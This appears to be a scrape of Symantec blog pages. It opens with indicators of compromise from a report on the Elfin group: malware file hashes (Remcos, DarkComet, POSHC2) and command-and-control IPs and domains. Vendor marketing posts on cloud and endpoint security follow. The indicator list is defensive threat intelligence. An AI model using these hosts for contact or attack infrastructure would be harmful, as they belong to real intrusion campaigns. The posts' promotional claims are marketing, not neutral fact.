ae1d75a5f87421953372e79c081e4b0a929f65841ed5ea0d380b6289e4a6b565 Remcos
e999fdd6a0f5f8d1ca08cf2aef47f5ddc0ee75879c6f2c1ee23bc31fb0f26c70 Remcos
018360b869d8080cf5bcca1a09eb8251558378eb6479d8d89b8c80a8e2fa328c Remcos
367e78852134ef488ecf6862e71f70a3b10653e642bda3df00dd012c4e130330 Remcos
ea5295868a6aef6aac9e117ef128e9de107817cc69e75f0b20648940724880f3 Remcos
6401abe9b6e90411dc48ffc863c40c9d9b073590a8014fe1b0e6c2ecab2f7e18 SniffPass
bf9c589de55f7496ff14187b1b5e068bd104396c23418a18954db61450d21bab DarkComet
af41e9e058e0a5656f457ad4425a299481916b6cf5e443091c7a6b15ea5b3db3 DarkComet
c7a2559f0e134cafbfc27781acc51217127a7739c67c40135be44f23b3f9d77b AutoIt FTP tool
99c1228d15e9a7693d67c4cb173eaec61bdb3e3efdd41ee38b941e733c7104f8 .NET FTP tool
94526e2d1aca581121bd79a699a3bf5e4d91a4f285c8ef5ab2ab6e9e44783997 PowerShell downloader (registry.ps1)
dedfbc8acf1c7b49fb30af35eda5e23d3f7a202585a5efe82ea7c2a785a95f40 POSHC2 backdoor
IP Domain
95.211.191.117 update-sec.com
8.26.21.120 mynetwork.ddns.net
162.250.145.234 mynetwork.ddns.net
91.235.142.76 mywinnetwork.ddns.net
8.26.21.119 hyperservice.ddns.net
8.26.21.120 [REDACTED].ddns.net
213.252.244.14 service-avant.com
91.235.142.124 mywinnetwork.ddns.net
8.26.21.120 mynetwork.ddns.net
162.250.145.234 mynetwork.ddns.net
91.235.142.76 mywinnetwork.ddns.net
8.26.21.120 [REDACTED].ddns.net
8.26.21.120 [REDACTED].ddns.net
95.211.191.117 update-sec.com
5.187.21.70 microsoftupdated.com
217.13.103.46 securityupdated.com
8.26.21.120 [REDACTED].ddns.net
5.187.21.71 backupnet.ddns.net
91.230.121.143 backupnet.ddns.net
8.26.21.119 [REDACTED].ddns.net
8.26.21.117 srvhost.servehttp.com
37.48.105.178 servhost.hopto.org
8.26.21.117 srvhost.servehttp.com
5.187.21.70 microsoftupdated.com
64.251.19.214 mynetwork.ddns.net
64.251.19.217 [REDACTED].servehttp.com
64.251.19.214 [REDACTED].ddns.net
64.251.19.214 mynetwork.ddns.net
64.251.19.214 [REDACTED].sytes.net
64.251.19.217 [REDACTED].myftp.org
64.251.19.216 srvhost.servehttp.com
64.251.19.217 [REDACTED].myftp.org
64.251.19.217 [REDACTED].myftp.org
64.251.19.215 [REDACTED].myftp.org
64.251.19.217 [REDACTED].myftp.org
64.251.19.216 [REDACTED].myftp.org
64.251.19.232 mynetwork.ddns.net
64.251.19.214 [REDACTED].ddns.net
162.250.145.204 mynetwork.ddns.net
188.165.4.81 svcexplores.com
64.251.19.231 mynetwork.ddns.net
64.251.19.231 [REDACTED].ddns.net
64.251.19.232 [REDACTED].ddns.net
64.251.19.216 [REDACTED].myftp.biz
91.230.121.143 remote-server.ddns.net
162.250.145.222 [REDACTED].ddns.net
64.251.19.216 [REDACTED].redirectme.net
8.26.21.222 mynetwork.ddns.net
8.26.21.223 [REDACTED].ddns.net
217.147.168.44 remserver.ddns.net
195.20.52.172 mynetwork.cf
8.26.21.221 mynetwork.ddns.net
8.26.21.220 [REDACTED].ddns.net
8.26.21.221 [REDACTED].ddns.net
91.230.121.144 remserver.ddns.net
89.34.237.118 mywinnetwork.ddns.net
192.119.15.35 mynetwork.ddns.net
5.79.127.177 mypsh.ddns.net
192.119.15.35 [REDACTED].ddns.net
192.119.15.35 [REDACTED].ddns.net
192.119.15.35 [REDACTED].ddns.net
192.119.15.36 [REDACTED].ddns.net
192.119.15.37 mynetwork.ddns.net
192.119.15.38 [REDACTED].ddns.net
192.119.15.39 remote-server.ddns.net
192.119.15.40 [REDACTED].ddns.net
192.119.15.41 mynetwork.cf
192.119.15.42 [REDACTED].ddns.net
Threat intelligence
In addition to file-based protection, customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Elfin, which detail methods of detecting and thwarting activities of this group.
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Eliminate Cloud Chaos Before It Undermines Your Security
Symantec introduces Cloud Workload Protection for Oracle Cloud
A lot of attention has been lavished upon the pay-as-you-go infrastructure model that has helped fuel the enormous growth of public and hybrid cloud platforms. Much less appreciated is how a related model has transformed the effectiveness of cloud security, without which, we’d been in big trouble.
Within Infrastructure as a Service, there’s a “shared responsibility” model, where cloud service providers protect their clouds and customers protect their workloads — counteracting any vulnerabilities, exploits and data breach attempts. The division of labor is logical, in theory, but enterprises looking to fulfill their responsibility find themselves in a sticky situation. There is no simple solution that integrates and fulfills their portion of the responsibility matrix. Piecing together different solutions often results in chaos.
Cloud chaos is what happens when enterprises, who are looking for ‘best of breed’ solutions, mix and match solutions from disparate cloud security vendors. More often than not these services fail to work in harmony to protect your infrastructure. Indeed, if you’ve taken a patchwork approach to establishing a cloud safety net you may already be familiar with these signs of chaos: misconfigured workloads, malware and lack of automation.
This is why I recommend to enterprise customers that they reduce their chances of failure by taking an integrated security approach from a best-of-breed provider. And now, as Symantec rolls out its Cloud Workload Protection Suite (CWPS) for Oracle Cloud Infrastructure (OCI), one of the leading enterprise cloud platforms, customers have access to an industry-leading solution and can prioritize security as workload #1.
The Meaning of Integration
In the 15 minutes you’ll spend establishing complete visibility of workloads across your clouds, Symantec’s cloud workload protection suite automatically discovers and delivers complete visibility into your cloud workloads. Next, it discovers what software is running on those workloads and identifies the workloads’ security posture.
The key to this automation is our Cloud Workload Protection (CWP) agent — a lightweight software component that runs as a service on each instance. The agent collects telemetry data about the state of instances in the cloud, automating the discovery of potential attacks, and providing real-time visibility into infrastructure changes. This comes in handy when someone spins up an unauthorized instance, intending to “exfiltrate” customer data before your cyber security team might otherwise catch it. Symantec CWP, acting on policies you’ve set, can help you quickly shut down this rogue threat.
One of the basic principles of integrated solutions is teamwork. You’re never alone in identifying threats and defense strategies. Access to the Symantec Global Intelligence Network allows you to protect workloads against the latest global attacks and vulnerabilities, giving CISOs and cloud security teams the extra insight and confidence required to achieve their primary objectives.
Coming into View
Of course, cloud visibility is critical to the success of company’s security in the cloud, no matter where your workloads are located, and even better if it is delivered to a single console. Your cloud security team now has an effective way to identify and prevent unauthorized workloads that may include the sharing of intellectual property or customer data.
Obtaining real-time visibility and protection of these workloads remains an operational imperative across all cloud platforms, just as it is essential to mitigate the risk of IaaS adoption by blocking known and unknown vulnerabilities before they can propagate.
Unfortunately, a lack of cloud workload visibility is a persistent complaint from security teams. Only 37% of security managers say they can adequately analyze threat data, according to an Oracle and KPMG 2018 Cloud Threat Report.
Your cloud security team now has an effective way to identify and prevent unauthorized workloads that may include the sharing of intellectual property or customer data.
To counteract this, Symantec’s single agent, single console solution provides protection for IaaS, hybrid cloud compute, and containers with services such as:
Anti-malware for Compute
Real-time file integrity monitoring
Operating system hardening
Application control
Application isolation
Application level firewall
The Symantec CWP solution makes cloud security much easier for you by providing tags, auto-scaling groups and other intuitive identifiers that adapt to your Oracle Cloud Infrastructure environment. Cloud provider application programming interfaces (APIs) will enable your DevOps or cloud security teams to create templated security controls into continuous integration and delivery (CI/CD) application deployment workflows for automated workload protection.
Next Steps
Automating security for managing public or hybrid cloud workloads is necessary for businesses looking to scale operations, reduce risk and achieve cost savings. Deploying an industry-leading, Integrated Cyber Defense Platform, combining information protection, threat protection, compliance and other advanced services, will spare you the hassle of repairing the damage caused by chaos in the cloud.
Find out more about getting started using Symantec CWP to secure your Oracle Cloud Infrastructure with an 89-day free trial or 20,000 hours, and then pay only for what you use. There are no contracts or long-term commitments and you can cancel anytime.
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Eliminating Security Complexity is Key to Reducing Enterprise Risk
Symantec Enterprise Cloud: a single security solution for the most demanding organizations
We always move towards simplification, but the world has a way of moving back. While allowing employees to work anywhere simplified things for them, it increased the security risk. Moving to the cloud brings many benefits, it also brings management and compliance complexity. And going all in on best of breed security products should produce the best security, however ongoing integration efforts, multiple UIs and agent bloat has at best created operational headaches. At worst, the organization’s focus is on management, not security.
Today there is no doubt that there are many highly effective security tools available. But managing a menagerie of them is time-consuming and resource-intensive, at a time when cybersecurity skills have never been at a higher premium. That’s why we launched Symantec Enterprise Cloud (SEC), our strategy for today and our vision for tomorrow. Symantec Enterprise Cloud brings together a wide range of trusted technologies into a single solution with deep, seamless integration across our endpoint, network, information, and email security products, living both on-premises and in the cloud.
Customers gain consistent compliance by applying and managing controls in the same way across your infrastructure. Symantec enables secure remote work by protecting assets wherever they are, from wherever they are accessed. And we extend data and threat protection everywhere by unifying intelligence across control points, so you can detect, block, and remediate the newest attacks. Let’s take a tour:
Consolidation: Multiple agents on the endpoint creates unnecessary drain on the client resources, management complexity and cost. Creating a single agent for endpoint systems, whether laptops, desktops, tablets, mobile phones, servers, or cloud workloads, does away with agent sprawl, alleviates complexity, and enables managers to gain a holistic view of endpoints. Further, the endpoint security agent is consolidated with our Cloud Secure Web Gateway (formerly WSS) agent to provide both endpoint and network security for roaming endpoints.
Hybrid cloud: For many organizations a corporate data center is required for business or regulatory reasons, often resulting in a hybrid cloud environment. Symantec Enterprise Cloud can be deployed as a single entity in both the cloud and on-premises, allowing unified management of both environments. If your infrastructure is entirely on-premises, it can be deployed as a 100% on-premises solution in which the enforcement point remains on-premises. In an entirely cloud-based implementation, the enforcement point is in the cloud.
Data protection and threat protection together: In a single cloud-based solution, Symantec Enterprise Cloud includes both market-leading data loss prevention (DLP) to protect data and threat protection technology to identify and mitigate attacks. DLP integrates with the Secure Web Gateway, Symantec ZTNA, CloudSOC CASB, and Symantec Endpoint Security. Threat detection capabilities are fed by Symantec threat hunting teams as well as the Symantec Global Intelligence Network (GIN), which applies artificial intelligence to analyze over nine petabytes of threat data.
Symantec has long invested in a wide variety of innovative technologies with a large portion of our revenue reinvested back into R&D. With Symantec Enterprise Cloud we're now making our biggest investment yet. We're bringing leading Endpoint, Network, and Information Security capabilities together to form a single solution that addresses the complex challenges faced by the world's most demanding enterprises. - Alex Au Yeung, Chief Product Officer, Symantec Enterprise Division
SOC integration: Deep, seamless integration between cybersecurity tools and the seven worldwide Symantec Security Operations Centers (SOC), where 500 highly skilled experts evaluate threat information to discern patterns and block attacks. We also engage with customers to augment their own SOC operations.
Compliance: Apply and manage compliance controls consistently across your organization. A single governance team can manage data risk and perform audits from one platform whether on-premises or in the cloud.
SSE: Support for Secure Service Edge (SSE), part of a cloud-based, comprehensive SASE cybersecurity architecture, is provided through the implementation of XDR as well as zero-trust concepts such as multi-factor authentication and least-privilege access.
What does all this integration get you? Here’s just one example: Let’s say there’s an unusual number of failed logins on a single endpoint. Those unsuccessful attempts will be picked up by the CloudSOC CASB and shared via XDR with Symantec Endpoint Security. Instead of a potentially serious threat being overlooked, SOC managers get a complete view of the risks associated with each endpoint. This kind of comprehensive out-of-the-box integration goes far beyond what you might find elsewhere.
As mentioned earlier, Symantec Enterprise Cloud is not just a solution for today. It's our vision for the future. Over the next few years, look forward to all Symantec products integrating with each other seamlessly as we continue to execute on this vision. Look forward to a single Symantec agent. See the future where managing consistent compliance, securing remote work, and delivering data and threat protection everywhere as SEC capabilities appear in product upgrades covered under your licensing agreement. If you are not yet a Symantec customer, consider what a holistic and integrated security solution can mean to your organization.
Learn more about Symantec Enterprise Cloud here.
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Endpoint Defense Starts with Prevention
It’s no longer enough to discover and expel attackers as the dangers posed by endpoints continue to climb
Everyone understands you have to have an endpoint cyber security strategy. But which strategy? Endpoints, particularly different types of mobile devices, are multiplying rapidly. They can be located anywhere, with always-on access to everything. And because you’re playing defense against wily opponents who are quick to circumvent existing lines of defense to create new attacks, it’s a good bet your endpoint defense of last year won’t be good enough next year.
There’s no doubt endpoints are in the crosshairs of the bad actors. According to the 2019 Symantec Internet Security Threat Report (ISTR), Symantec blocked an average of 10,573 malicious mobile apps per day in 2018. Ransomware infections on mobile devices led the way, up 33% in 2018 compared to 2017. If that weren’t enough, the 2019 ISTR found one in 36 mobile devices were classed as high risk. That includes devices that were rooted or jailbroken, along with devices that with a high degree of certainty had malware installed.
According to the 2019 Symantec Internet Security Threat Report (ISTR), Symantec blocked an average of 10,573 malicious mobile apps per day in 2018.
This has become a very important issue that companies must focus on with the average cost of a breach at $3.86 million, and the average cost of a stolen record that contains sensitive and confidential information reaching $148 million.
I mentioned before, in this blog that many seemingly well-prepared organizations are just seven minutes away from disaster. This peril stems from the design of Active Directory, which exposes the database to every endpoint connected to a domain. The architecture provides attackers the information they need to elevate their privileges to domain admin in about the time it takes to read this blog. Attackers can then access any asset in the domain, effectively taking over an entire enterprise.
Those attackers could hide the stolen admin credentials and use them later, even after being detected and kicked out. Should the attackers succeed, they could establish an Infinite Toxic Domain Loop, requiring a rebuild of the entire Active Directory domain/forest, a difficult, expensive and time-consuming task, or a comprehensive domain credentials clean-up, a complicated process that can lead to network problems.
Because endpoint detection and response (EDR) by itself is too slow, an effective endpoint defense strategy must put prevention ahead of detection.
As these attacks demonstrate, it’s not enough to discover and expel an attacker. Because endpoint detection and response (EDR) by itself is too slow, an effective endpoint defense strategy must put prevention ahead of detection. It’s also essential to extend the umbrella of protection to mobile devices. Mobile devices are always on, always connected and are often used to access both personal and corporate data, increasing their susceptibility to hackers.
Recognizing the danger of endpoint compromise, many organizations pile on multiple endpoint protection products. Ponemon Institute found organizations install, on average, seven different endpoint agents to support IT management and security. Each agent operates independently, with its own console, rules and policies — all of which need to be configured, rolled out, managed, and maintained. In addition to creating more IT overhead and costs, multiple products introduce defense gaps and lead to errors, increasing the chances you’ll miss a threat. One result of this approach is rising attack dwell times, which now average over 190 days.
Symantec Endpoint Security proactively protects your modern endpoints against the full range of mobile threats, including malware, network connection and content attacks, risky apps, and OS vulnerabilities. Symantec Endpoint Security is a complete, integrated endpoint security platform built on four pillars:
Pre-attack. Focusing on attack surface reduction, advanced policy controls and technologies continuously scan for vulnerabilities and misconfigurations across applications, Active Directory, and devices.
Attack. Aimed at attack prevention, multiple defensive layers protect against file-based and fileless threats, using machine learning and AI to identify and block new and evolving malware attacks in real time.
Breach. Intrusion prevention and firewall technologies block attacks, preventing command-and-control setup. By controlling the attacker’s perception of Active Directory resources, it defends the primary attack surface against lateral movement and domain admin credential theft. AI and ML adapt endpoint policy thresholds or rules to the current risk profile of the organization.
Post Breach. Combining EDR and SOC analyst expertise to perform response and remediation enables quick close-out of endpoint incidents, minimizing attack impacts. Integrating EDR in a single-agent architecture that covers both traditional and modern endpoints enables precise detection of advanced attacks. Real-time analytics assists the pursuit of threats as well as investigation and remediation.
Symantec Endpoint Security
Many cyber security providers focus on one or two of these pillars and seem to assume the others will take care of themselves. For comprehensive protection across the attack chain, you need to focus on all four. A key part of the Symantec Integrated Cyber Defense platform, Symantec Endpoint Security does just that in a single-agent, integrated solution that’s available on-prem, as a cloud service, or in a hybrid model.
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What is endpoint security?
Endpoint security, or endpoint protection, is the cybersecurity approach to defending endpoints — such as desktops, laptops, and mobile devices — from malicious activity.
An endpoint protection platform (EPP) is a solution used to detect and prevent security threats like file-based malware attacks among other malicious activities. It also provides investigation and remediation capabilities needed to respond to dynamic security incidents and alerts.
What’s considered an endpoint?
An endpoint is any device that connects to the corporate network from outside its firewall. Examples of endpoint devices include:
Laptops
Tablets
Mobile devices
Internet of things (IoT) devices
Point-of-sale (POS) systems
Switches
Digital printers
Other devices that communicate with the central network
Endpoint security importance
An endpoint security strategy is essential because every remote endpoint can be the entry point for an attack, and the number of endpoints is only increasing with the rapid shift to remote work. According to a 2023 Forbes article, 12.7% of U.S. workers work remotely and 28.2% have adopted a hybrid work schedule. Though most workers are in-office today, it is predicted that the number of remote workers will increase to 32.6 million Americans by 2025, a sizable 22% of the U.S. workforce. The risks posed by endpoints and their sensitive data are a challenge that’s not going away.
The endpoint landscape is constantly changing, and businesses of all sizes are attractive targets for cyberattacks. This is common knowledge, even among small businesses. According to the ITRC 2023 Business Impact report, 73% of small and medium-sized business (SMB) owners reported that they experienced a cyberattack in 2022 or 2023. According to the FBI’s Internet Crime Report, the FBI received a total of 800,944 complaints in 2022, with reported losses of over $10.3 billion. According to the CrowdStrike 2023 Global Threat Report, there has been a spike in social engineering attacks, and more than 200 adversaries were tracked by CrowdStrike.
According to IBM’s “Cost of a Data Breach Report 2023,” the average data breach costs $4.45 million, a 15% increase over the last three years. The study identified that the biggest financial impact of a breach was “lost business,” making up almost 40% of the data breach average cost.
Protecting against endpoint attacks is challenging because endpoints exist where humans and machines intersect. Businesses struggle to protect their systems without interfering with the legitimate activities of their employees. And though technological solutions can be highly effective, the chances of an employee succumbing to a social engineering attack can be mitigated but never entirely prevented.
How endpoint protection works
The terms endpoint protection, endpoint protection platforms, and endpoint security are all used interchangeably to describe the centrally managed security solutions that organizations leverage to protect endpoints like servers, workstations, mobile devices, and workloads from cybersecurity threats. Endpoint protection solutions work by examining files, processes, and system activity for suspicious or malicious indicators.
Endpoint protection solutions offer a centralized management console from which administrators can connect to their enterprise network to monitor, protect, investigate, and respond to incidents. This is accomplished by leveraging either an on-premises, cloud, or hybrid approach.
The “traditional” or “legacy” approach is often used to describe an on-premises security posture that is reliant on a locally hosted data center from which security is delivered. The data center acts as the hub for the management console to reach out to the endpoints through an agent to provide security. The hub and spoke model can create security silos since administrators can typically only manage endpoints within their perimeter.
With the pandemic-driven remote work shift, many organizations have pivoted to laptops and bring your own device (BYOD) instead of desktop devices. Along with the globalization of workforces, this highlights the limitations of the on-premises approach. Some endpoint protection solution vendors have recently shifted to a “hybrid” approach, taking a legacy architecture design and retrofitting it for the cloud to gain some cloud capabilities.
The third approach is a “cloud-native” solution built in and for the cloud. Administrators can remotely monitor and manage endpoints through a centralized management console that lives in the cloud and connects to devices remotely through an agent on the endpoint. The agent can work with the management console or independently to provide security for the endpoint should it not have internet connectivity. These solutions leverage cloud controls and policies to maximize security performance beyond the traditional perimeter, removing silos and expanding administrator reach.
Endpoint security benefits
Some key benefits of endpoint security include:
Endpoint protection: As digital transformation pushes more employees to work remotely, protecting all endpoints has become essential to prevent breaches.
Identity protection: Identity protection is an important benefit of endpoint security because it protects employees and other stakeholders’ sensitive data by ensuring only authorized users have the right type of access to it.
Threat detection and response: With the increasing number of adversaries trying to breach organizations using sophisticated cyberattacks, quickly detecting potential threats will help speed the remediation process and keep data protected.
Endpoint protection software vs. antivirus software
Endpoint security software protects endpoints from being breached, whether they are physical or virtual, on-premises or off-premises, in data centers or in the cloud. It is installed on laptops, desktops, servers, virtual machines, and remote endpoints themselves.
Antivirus is often part of an endpoint security solution and is generally regarded as one of the more basic forms of endpoint protection. Instead of using advanced techniques and practices, such as threat hunting and endpoint detection and response (EDR), antivirus simply finds and removes known viruses and other types of malware. Traditional antivirus runs in the background, periodically scanning a device’s content for patterns that match a database of virus signatures. Antivirus is installed on individual devices inside and outside the firewall.
Core functionality of an endpoint protection solution
Endpoint security tools that provide continuous breach prevention must integrate these fundamental elements:
1. Prevention: NGAV
Traditional antivirus solutions detect less than half of all attacks. They function by comparing malicious signatures, or bits of code, to a database that is updated by contributors whenever a new malware signature is identified. The problem is that malware that has not yet been identified — or unknown malware — is not in the database. There is a gap between the time a piece of malware is released into the world and the time it becomes identifiable by traditional antivirus solutions.
Next-generation antivirus (NGAV) closes this gap by using more advanced endpoint protection technologies, such as AI and machine learning, to identify new malware by examining more elements, such as file hashes, URLs, and IP addresses.
2. Detection: EDR
Prevention is not enough. No defenses are perfect, and some attacks will always make it through and successfully penetrate the network. Conventional security can’t see when this happens, leaving attackers free to dwell in the environment for days, weeks, or months. Businesses need to stop these “silent failures” by finding and removing attackers quickly.
To prevent silent failures, an EDR solution needs to provide continuous and comprehensive visibility into what is happening on endpoints in real time. Businesses should look for solutions that offer advanced threat detection and investigation and response capabilities, including incident data search and investigation, alert triage, suspicious activity validation, threat hunting, and malicious activity detection and containment.
3. Managed threat hunting
Not all attacks can be detected by automation alone. The expertise of security professionals is essential to detect today’s sophisticated attacks.
Managed threat hunting is conducted by elite teams that learn from incidents that have already occurred, aggregate crowdsourced data, and provide guidance on how best to respond when malicious activity is detected.
4. Threat intelligence integration
To stay ahead of attackers, businesses need to understand threats as they evolve. Sophisticated adversaries and advanced persistent threats (APTs) can move quickly and stealthily, and security teams need up-to-date and accurate intelligence to ensure defenses are automatically and precisely tuned.
A threat intelligence integration solution should incorporate automation to investigate all incidents and gain knowledge in minutes, not hours. It should generate custom indicators of compromise (IOCs) directly from the endpoints to enable a proactive defense against future attacks. There should also be a human element composed of expert security researchers, threat analysts, cultural experts, and linguists, who can make sense of emerging threats in a variety of contexts.
The importance of cloud-based architecture
Cloud-based architecture provides the following benefits when it comes to endpoint security:
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Endpoint Security for the Cloud Generation Gets a Boost
Innovations in detection, prevention, and integration further enhance Symantec single-agent endpoint security
Symantec Endpoint Security for the Cloud Generation just got better. Which is saying a lot because it’s already the most complete endpoint protection platform (EPP) available today.
Before we go into the hows and whys of what the platform offers, let’s quickly review the current (and future) realities we built it to address.
Desperately Seeking Endpoint Security
With so many endpoint security products on the market, you have to wonder: Why there are still so many successful cyber attacks. This is really two questions.
Why are there so many endpoint security products?
The huge supply is driven by the intense demand created by bad actors hammering on vulnerable systems. Endpoint devices are everywhere, easy to compromise, and, once breached, often provide a short swim upstream to prized corporate data. Cyber criminals are very good at what they do—and getting better all the time—and they are relentless. As the problem worsens, more vendors sell more fixes. No mystery there.
Why is the problem worsening?
Most endpoint security products try to plug specific security holes. Unfortunately, cyber criminals poke more holes in endpoint defenses than single point products have ‘fingers’ with which to respond. Worse, once attackers slip past your endpoint defenses, they typically evade detection for months—191 days on average in 2017 according to the 2017 Ponemon Institute Cost of Data Breach Study—all while quietly ransacking your network and exfiltrating data.
Even if your endpoint defenses detect suspicious activity, they may not be able to contain or root out the problem.
You could theoretically buy and implement point products to address every imaginable endpoint nightmare scenario. But that’s going to get very complicated and very costly very fast—and such a piecemeal ‘system’ is likely to be very leaky.
Symantec Endpoint Security for the Cloud Generation
Welcome to Symantec Endpoint Security for the Cloud Generation. We think it’s the strongest, most complete endpoint protection available—and industry analyst Gartner apparently agrees. In its 2018 Magic Quadrant for Endpoint Protection Platforms, Gartner positioned Symantec up and to the right in the leaders’ quadrant: Highest in our ability to execute and furthest in our completeness of vision.
Available as an on-premises, cloud, or hybrid solution, Symantec Endpoint Security for the Cloud Generation:
Prevents threats across the attack chain
Detects and investigates suspicious events
Remediates attacks in minutes with one click
Optimizes investments without adding new agents
See More, Block More, Detect More
We’ve already established Symantec Endpoint Security for the Cloud Generation as the only EPP that delivers prevention, detection and response, deception, and hardening all in a single agent.
Now we’ve made the industry’s most complete EPP even better by bolstering it with
Targeted Attack Analytics (TAA)
Automatic sandbox submissions
Managed detection and response services
Enhanced application security
Integrated cyber defense (ICD) enhancements
Targeted Attack Analytics—Provides early warning of emerging advanced persistent threats (APTs) and reduces your exposure via a continuous stream of detection analytics (powered by cross-control-point global telemetry, advanced artificial intelligence, and unequaled threat research).
Automatic sandbox submissions—Automatically delivers suspicious executable files to sandboxing (cloud-based or on-premises) for detonation, speeding your investigations.
Managed Detection and Response Services (from Symantec and Symantec partners)—Enables your security staff to aggressively hunt threats and respond to incidents, all while freeing up resources and minimizing ‘alert fatigue.’
Enhanced application security—Prevents unwanted applications from executing, reducing the application attack surface via granular white listing controls.
ICD enhancements—Squeezes maximum productivity from your current security infrastructure. Symantec Endpoint Protection (SEP) integrates with Symantec Content Analysis for multilayer inspection, detection, and sandboxing. In addition, SEP supports VIP and PIV/CAC smart cards for multifactor authentication.
These several updates to Endpoint Security for the Cloud Generation translate into greater visibility to view more attacks, thanks to the integration with Symantec Content Analysis. At the same time, it will help prevent more attacks, thanks to white listing controls. Lastly, users will have more ability to detect and respond to attacks, thanks to Targeted Attack Analytics.
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Endpoint Security is Mission Critical
Symantec delivers complete protection
This year, as customers continued their digital transformation journey, it is no surprise that 2020 was one of acceleration and at times extreme uncertainty on what was coming next. Symantec has been with our customers every step of the way, providing world class security in a complex and dangerous world.
Broadcom invests $4.7 billion in R&D annually. Now that we are a part of the Broadcom umbrella, we couldn’t be happier to put that kind of engineering investment muscle to work into our endpoint solutions. Attacks are complex and the technologies that are required to get ahead of them are not simple either. Our cloud-native analytics, expert-driven machine learning, our deep expertise in what it takes to stop threats, and our passion for protecting customers enables us to lead. We have continued to drive innovation as part of the Broadcom family.
We are focused on quality, innovation and ease of deployment across our solutions.
Endpoint Security is mission critical for businesses, and for FY2020, we were able to deliver some key wins to our Endpoint customers that will set us up for even better things moving forward. Some areas of major focus include:
Discover and Block Attacks With the Strongest Security: Symantec offers the broadest and deepest set of threat intelligence, detection technology, and prevention capability in the industry. Our visibility across a huge endpoint footprint as well as email and web traffic allows us to discover and block advanced targeted attacks that would otherwise go undetected. We are finding thousands of targeted attacks each month and providing full context to our SES Complete customers. The SES Complete offering grew significantly stronger this year with new detection capabilities in EDR, integrated Active Directory protection on the endpoint, a team of threat hunters focused on your enterprise, and new precision application behavior controls.
Simplified portfolio: We have made it easier to do business with us by introducing 2 new core products – Symantec Endpoint Security Enterprise (SESE) and Symantec Endpoint Security Complete (SESC). These offerings are underpinned by our flagship Symantec Endpoint Protection (SEP) lightweight agent, which, contrary to what competitors may tell you, is here to stay. The newly formed SESE and SESC offerings add additional protection for mobile, cloud and SOC environments to better protect our customers across the entire attack chain, and deliver significant ROI by ensuring accurate detections (as opposed to expensive false alerts). Our Endpoint solution also includes storage protection, server and cloud workload protection and endpoint management offerings to help customers with all of their device protection needs.
GCP Platform: Our trillions of data elements are analyzed continually, enabling us to identify new patterns of threat actor activity. This capability is powered by Google’s incredible compute platform which provides virtually infinite scale and resilience for our customers.
Singular focus: We are fully integrated into Broadcom and as part of our integration we took the opportunity to unify all of the teams at Symantec focused on endpoint. Our endpoint protection, our advanced detection, our Security Technology and Response (STAR) group, and our mobile security group are now unified, enabling us to deliver protection innovation much more rapidly to customers.
I am incredibly excited for the New Year, as we continue to evolve and meet the needs of the global Enterprise. We are focused on quality, innovation and ease of deployment across our solutions.
Attacks are always changing, so it takes focused effort to stay ahead. As we continue our journey through these most interesting times, we look forward to being the vendor you recognize as the leader with whom you continue to entrust your security and your business.
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Endpoint Security: Protect and Respond at Scale
Symantec Endpoint Protection 14 Will Change How You Think About Endpoint Security. Here’s Why.
Security threats have become part of the daily news landscape in 2016: ransomware attacks on hospitals and investment banks; geopolitical attacks on the Democratic National Committee and Clinton campaign; financial attacks on the Swift banking system; and critical infrastructure attacks that took down the Ukrainian power grid.
As our businesses, governments and personal lives become more and more digital, we continue to be under attack from many different vectors – and many of the attacks start (directly or indirectly) with malware targeting endpoints.
The pace and sophistication of these new threats is daunting. In 2015, Symantec reported more than 430 million new pieces of malware – that's more than one million new malware variants on a daily basis. Further, we expect 2016 to track an even more formidable number, as zero-day attacks accelerate and ransomware introduces a profit motive into the equation. These attacks are designed to enter the enterprise environment from many different vectors, making the endpoint ever more vulnerable and thus more essential to protect.
The only proper response to this rapidly worsening threat landscape is to innovate and integrate more defense mechanisms across multiple control points.
That's what Symantec is doing, together with our new compatriots from Blue Coat. No longer are you forced to stitch together dozens of point products from different vendors that weren't designed to work together. We are working to build the integrated cyber defense platform of the future, so you can fully orchestrate prevention, detection and response across endpoints, gateways, messaging and the cloud.
Today's launch of Symantec Endpoint Protection 14 (SEP14) represents significant innovation and integration for endpoint security, immediately available from the global leader in cyber security. Our endpoint protection software has well-established leadership in the industry, as evidenced by 14 years running in the Gartner Magic Quadrant and dozens of third-party awards. Our newest release delivers multi-layered endpoint protection in a single agent, including new innovations for advanced machine learning and zero-day exploit prevention, along with established technologies for file reputation and behavior analysis, firewall and intrusion prevention – all powered by the world's largest civilian threat intelligence network.
Let's break that down.
Multi-Layered Endpoint Protection
Endpoint protection requires quick analysis of threats in real time: evaluating files based on their attributes (static), how they behave (dynamic) and their global context (reputation). The security layers themselves are comprised of both proven and emerging technologies working seamlessly at the endpoint, including analysis of files, reputation and behavior along with firewall, intrusion prevention and exploit prevention. SC Magazine recently reviewed SEP14 and rated it as "the most comprehensive tool of its type that we've seen with superb installation and documentation."
Protection, Detection and Response in a Single Agent
SEP14 directly addresses multiple use cases including endpoint protection, detection and response capabilities in a single agent. Combined with APIs and built-in management capabilities, this allows customers to respond to threats quickly while reducing operational expenditures. SEP14 delivers this powerful protection in a lightweight package, building on industry-leading 99.9% efficacy, low false positives and a 70 percent reduced footprint over the previous generation through new advanced cloud lookup capabilities. And we haven't even scratched the surface on how SEP14 reduces Total Cost of Ownership and endpoint complexity.
Enabled by Artificial Intelligence and Machine Learning
SEP14 deploys advanced machine learning on both the endpoint and in the cloud, while taking advantage of additional artificial intelligence mechanisms in the cloud. Why does that matter? Machine learning allows us to detect unknown threats or evolving threat families during the early part of infection, in order to stop threats before they have a chance to execute. Our systems are always learning to distinguish between good files and bad files, leveraging prior intelligence and trained machines. There's a catch, however: the machines are only as smart as the quality of the data they use to learn. This fact lies at the very heart of why Symantec is poised to reinvent endpoint security – because we also have artificial intelligence in the cloud, pulling from our Global Intelligence Network, the largest civilian global threat intelligence in the world. This in turn leads us, inevitably, to the role of big data.
Powered by Big Data
Symantec collects threat insights from over 175 million endpoints and 57 million attack sensors across different organizations, industries and geographies. That all adds up to more than 3.7 trillion rows of security-relevant data. We leverage the collective intelligence from this diverse threat data and use it to teach our machines how to operate on the front lines of a global battle that changes every day, minute by minute. Beyond the Global Intelligence Network, SEP14 can also share intelligence with Blue Coat's Secure Web Gateway. As endpoint security learns from network security, and vice versa, threats can be identified and blocked at either control point.
Innovation and integration are essential to endpoint security. Our enemies are at work around the clock and around the globe looking for ways to steal information, disrupt business, extort money and maliciously interfere with normal daily life. But reputation is essential too, which is why we at Symantec are proud to have a global community with thousands of organizations and millions of people who place their trust in us to protect their most valuable digital assets.
We can't wait to show them what's next.
